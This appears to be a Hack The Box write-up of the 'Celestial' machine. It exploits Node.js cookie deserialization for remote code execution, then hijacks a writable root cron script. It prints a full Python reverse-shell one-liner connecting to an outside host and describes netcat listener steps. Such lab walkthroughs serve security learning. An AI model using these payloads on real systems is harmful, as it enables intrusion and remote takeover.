Hack The Box: Celestial
What will you learn? Celestial is a medium difficulty machine which focuses on deserialization exploits. It provides a practical example of abusing client-size serialized objects in NodeJS framework, and is the first time I have been exposed to anything of this type. As per privilege escalation, there is a cron job that is writable that can have a reverse shell inserted into it.
Let’s start enumerating the box:
The following ports of interest are open: 3000 (HTTP) Node.js Express Framework. Very clear as to what the direction is.
If we visit the webpage we can see a blank page for the most part. We should start fuzzing for subdirectories in the background and look at other things like where web requests go, source code, and for cookies.
We are able to find a cookie and we can decode it with base64.
We can send that string (cookie) to the decoder in Burpsuite. Then decode the contents there too. We can also change the field where num is equal to X and make it equal to 100 for example. Then encode it as base64, encode it as URL, and send it back into the web application through repeater to see how it responds. We can see that it does change the numbers on the screen returned to us.
There is some concatenation going on, and the web server is using the cookie. Putting it through some type of serialized object. So we need to figure out a node.js serialized vulnerability.
We can use this source to build a payload: https://opsecx.com/index.php/2017/02/08/exploiting-node-js-deserialization-bug-for-remote-code-execution/
Where there is the exec field is where we are going to put the command to execute a reverse shell. We will also try to include the other parameters expected within the previous decoded output we received.
We can start creating our payload based on that by using a reverse shell, in this case, MKFIFO. In order to send this to the web application we are going to go back to Decoder in Burpsuite and BASE64 + URL encode it. Then send the “cookie” through repeater. There are various types of shells you could use to achieve access. You will need the entire payload ON ONE LINE or it will not work.
Start a reverse shell listener with netcat on the port identical to your payload.
When you execute the payload you will receive this response on the Burp side, and you will receive an initial access/shell as the user sun
You can set a full TTY using the first Python payload at HackTricks: https://book.hacktricks.xyz/generic-methodologies-and-resources/shells/full-ttys
Start a Python webserver and host LINENUM.sh: python3 -m http.server 80
and retrieve that enumeration script on the target /tmp
directory.
Run the script with the following command piping it into grep, so we can enter through the output and read: ./linenum.sh | less
There was not anything too revealing in the output. Going into /var/log/
and reading the syslog file with: tail -1000 syslog
to read the last 1000 or so lines we can find that a Python script is running in our user’s documents folder as a scheduled task (cronjob).
Looking at the file permissions we can see that we have read and write on this file that is being executed. So we can add a reverse shell in Python to hopefully return a session to us as the root user. Something else to note, the script is running every 5 minutes so there will be some waiting involved.,
Create this payload in a file called script.py and serve it using a Python HTTP server, move it to your target machine /tmp
directory then to the location of the script.
import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.14.8",5555));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);
I ran the script myself to test and see if it would execute, which returns a shell as sun. So we need to wait for ROOT to execute the script (5 minutes)
After 5 minutes we become the root user and have rooted this box!